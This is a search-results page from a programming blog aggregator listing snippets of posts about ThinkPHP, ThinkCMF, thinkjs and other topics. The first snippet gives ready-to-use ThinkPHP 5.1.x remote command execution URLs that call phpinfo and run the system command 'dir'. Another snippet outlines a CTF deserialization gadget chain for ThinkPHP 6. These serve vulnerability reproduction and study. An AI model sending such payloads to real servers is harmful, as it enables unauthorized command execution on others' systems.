ICode9

精准搜索请尝试: 精确搜索
  • ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC2020-02-28 17:01:07

      thinkphp5.1.1为例 1、代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filter=phpinfo&data=1       2、命令执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filter=system&data=dir        

  • 安洵杯iamthinking(tp6反序列化链)2020-02-28 15:02:54

    安洵杯iamthinking tp6pop链 考点: 1.tp6.0反序列化链 2.parse_url()绕过 利用链: 前半部分利用链(tp6.0) think\Model --> __destruct() think\Model --> save() think\Model --> updateData() think\Model --> checkAllowFields() 后半部分利用链(同tp 5.2后半部分利用链) think\m

  • 解决多应用模式下ThinkPHP6 控制器不存在:app\controller\Index2020-02-02 11:39:19

    一.报错原因 1.多应用没有配置 2.命名空间不对 3.入口文件默认运行的用户请求没有配置 4.备注(多应用):需要安装多应用模式扩展think-multi-app         命令行:composer require topthink/think-multi-app、 小编的解决办法: 1.命令行下载 composer require topthink/think-

  • php版2020-01-16 19:51:09

    0.github   说明:一个仓库存一个项目。fork:张三有自己的仓库,李四点击张三仓库的fork,可以拷贝一份给自己。pull request:李四新建了一个文件,想及时更新到张三那里,用pull request即可。若张三感觉不错,则同步更新到自己的仓库中。 注册时,若QQ收不到邮件,则将GitHub添加到白名单:  

  • thinkphp3.2框架运行原理2020-01-07 15:00:50

    thinkphp3.2是使用率非常普遍的国产php框架,以简单易于上手闻名,那么它框架结构是怎样的? tp3.2设计简单来说就是CBD,core(框架核心文件),bebavior(行为,tp3.2一大特点就是钩子众多),driver(各种驱动,根据项目需要),针对这三大方面从源码来看框架的运行的原理。 因为tp3.2的古老,所以入口文件没有

  • On understanding2019-11-30 13:55:06

    I used to be an impatient people. I think you should understand what I think. That’s not obvious?! I often think so disdainfully. Such as, from the news I always angry at seeing that foreigners’ prejudices against China, isn’t that easy to understand? The

  • ThinkPHP5——使用composer安装验证码报错2019-11-21 12:00:41

    使用tp5安装安装验证码老是报错,百度了半天终于找到了方法,这篇博客是转载他的,希望能帮助到大家。   首先要安装composer,大部分“composer require topthink/think-captcha”命令无法运行或者提示不是内部文件或可执行命令,都是因为没有安装composer,或安装不成功。直接百度搜compos

  • ThinkPHP5——Session和Cookie2019-11-12 22:02:57

    Session 首先要引入use think\Session;下面使用静态方法调用Session     //赋值 Session::set('name','s1'); //赋值think作用域,set(‘名称’,‘值’,‘作用域’) Session::set('name','s2','think2'); //判断当前作用域(think)

  • ThinkCMF常用代码2019-11-07 10:01:00

    模板常量__ROOT__:网站根目录,不带/;__WEB_ROOT__:网站资源根目录,不带/,如果以前版本用__ROOT__来定位网站资源,方便以后cdn切换__TMPL__:当前模板根目录,不带/;如:前台 simpleboot3模板根目录是 public/themes/simpleboot3后台admin_simpleboot3模板根目录是public/themes/admin_

  • table方法也属于模型类的连贯操作方法之一2019-11-04 16:03:48

    table方法也属于模型类的连贯操作方法之一,主要用于指定操作的数据表。 用法 一般情况下,操作模型的时候系统能够自动识别当前对应的数据表,所以,使用table方法的情况通常是为了: 切换操作的数据表; 对多表进行操作; 例如: $Model->table('think_user')->where('status>1')->select();

  • TP5 自定义命令详细命令行用法2019-10-25 14:41:23

    很多时候需要使用命令行来执行php脚本,执行单独的php的脚本没有什么太大的问题,如果想要执行使用TP5框架项目的某个文件,可能会因相关文件无法加载而不能执行。  好在TP5框架中有命令行的功能,我们可以使用TP5的命令行调用我们自定义的命令,从而操作TP5项目中的代码。 定义命令  

  • ThinkPHP 5.0快速入门2019-09-29 22:03:43

    一、基础: 创建项目:conposer create-project topthink/think tp5 --prefer-dist 创建项目模块:php think build --module demo 访问未配置的路由:http://localhost/tp5/ 上线时要关闭调试模式:'app_debug' => false, config.php //创建母案文件需要继承controller类use th

  • ThinkPHP 5.x远程命令执行漏洞复现2019-09-23 14:02:45

    ThinkPHP 5.x远程命令执行漏洞复现 一、漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.thinkphp.cn/869075 漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致

  • 日常口语五2019-09-02 23:57:50

    Hi, guys, Thanks for joining me for another lesson today. Today, we'll be learning how to think in English, it's so important to learn to think in English. Because when you can think in English,  you can communicate with other English people wit

  • TP5.1框架下载,隐藏模块 index.php 和public2019-08-31 20:43:48

    访问地址变为http://serverName/index.php/控制器/操作/[参数名/参数值…] 安装5.1的。看准都是5.1的 应用项目:https://github.com/top-think/think 核心框架:https://github.com/top-think/framework web更目录下建个tp空文件夹 将下载的应用项目和核心框架(改为thinkphp)放

  • think in java 泛型2019-08-27 21:51:28

       曾几何时,我们对java的泛型充满了好奇,但是感觉用起来有很爽,但又会在spring类型泛型的地方,遇到问题。 我第一次的遇到泛型是在使用别人的BaseDao的时候,这是一个java封装hibernate框架的操作数据库的工具。但我使用 的时候,只需要简单指定我需要数据库操作的类即可,非常方便,但是当

  • 微信小程序 + thinkjs + mongoDB 实现简单的前后端交互2019-08-25 20:00:09

    说明:这段时间跟老师学习了一下mongodb数据库,这次也是第一次搭建后台服务,出了不少差错,特此来复盘一下,非常感谢对我提供帮助的同学~ 一、使用 thinkjs + mongodb 创建后台服务 1.安装 thinkjs 安装thinkjs工具包 npm install -g think-cli 2.创建 thinkjs 项目 thinkjs new demo;

  • 安装ThinkPHP2019-08-24 16:04:39

    安装ThinkPHP --------------来源:ThinkPHP5.0完全开发手册 ThinkPHP5的环境要求如下: • PHP >= 5.4.0 •PDO PHP Extension •MBstring PHP Extension •CURL PHP Extension 严格来说,ThinkPHP无需安装过程,这里所说的安装其实就是把ThinkPHP框架放入WEB运行环境(前提是你的WE

  • thinkphp62019-08-03 23:02:34

    下载原装:https://packagist.org/packages/topthink/think composer create-project topthink/think tp 6.0.*-dev 文档地址   aplication 目录变为app view视图层从app同级 配置文件细化

  • python基础第二十九章:面向对象的内置成员以及方法的分类2019-08-02 11:03:52

    面向对象的内置成员以及方法的分类 内置成员: #内置成员 #__dict__获取类/对象的所属成员组成的集合 # class Human: # eye=2 # def think(self):# print('人类会思考')## ren=Human()# print(Human.__dict__)#__doc__获取类中的文档# class Human:# '''#

  • Scrapy初试牛刀2019-07-19 10:08:13

    1.安装 pip install configparser # 依赖 pip install Scrapy 2.官网的一个简单例子 https://docs.scrapy.org/en/latest/intro/overview.html #!/usr/bin/env python # coding=utf-8 import scrapy class QuotesSpider(scrapy.Spider): name = 'quotes' start_urls

  • 《Think in Java》(七)2019-07-18 21:06:40

    《Think in Java》(七) 最近在看这本《Think in Java》书,由于记在书本上容易丢失,所以准备将笔记记在博客上面,也欢迎大家参考和提出宝贵意见 页数(64~75) 第四章 控制执行流程 就像有知觉的生物一样,程序必须在执行过程中控制它的世界,并做出选择。在Java中,你要使用执行控制

  • Think in Java第四章练习题2019-07-11 20:03:04

    代码如下: package cn.thinkinjava.yys;public class Exercise9 { public static int num(int n) { if(n == 1){ return 1; } if (n == 2) { return 1; }else{ return num(n - 1) + num(n - 2); } }

  • Think in Java第二章的学习2019-07-02 19:04:32

    Think in Java这本书的作者,用通俗易懂的话语介绍Java相关知识,在章节最后会有关于本章所学内容的练习题。攻略这些练习题让我有了成就感,同时也是对自己所学内容的肯定。 例如下列代码中打印输出的一些注解语句,让人很容易看懂: public class Practice06 { static class StaticTest

  • think2019-06-23 14:38:55

     

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有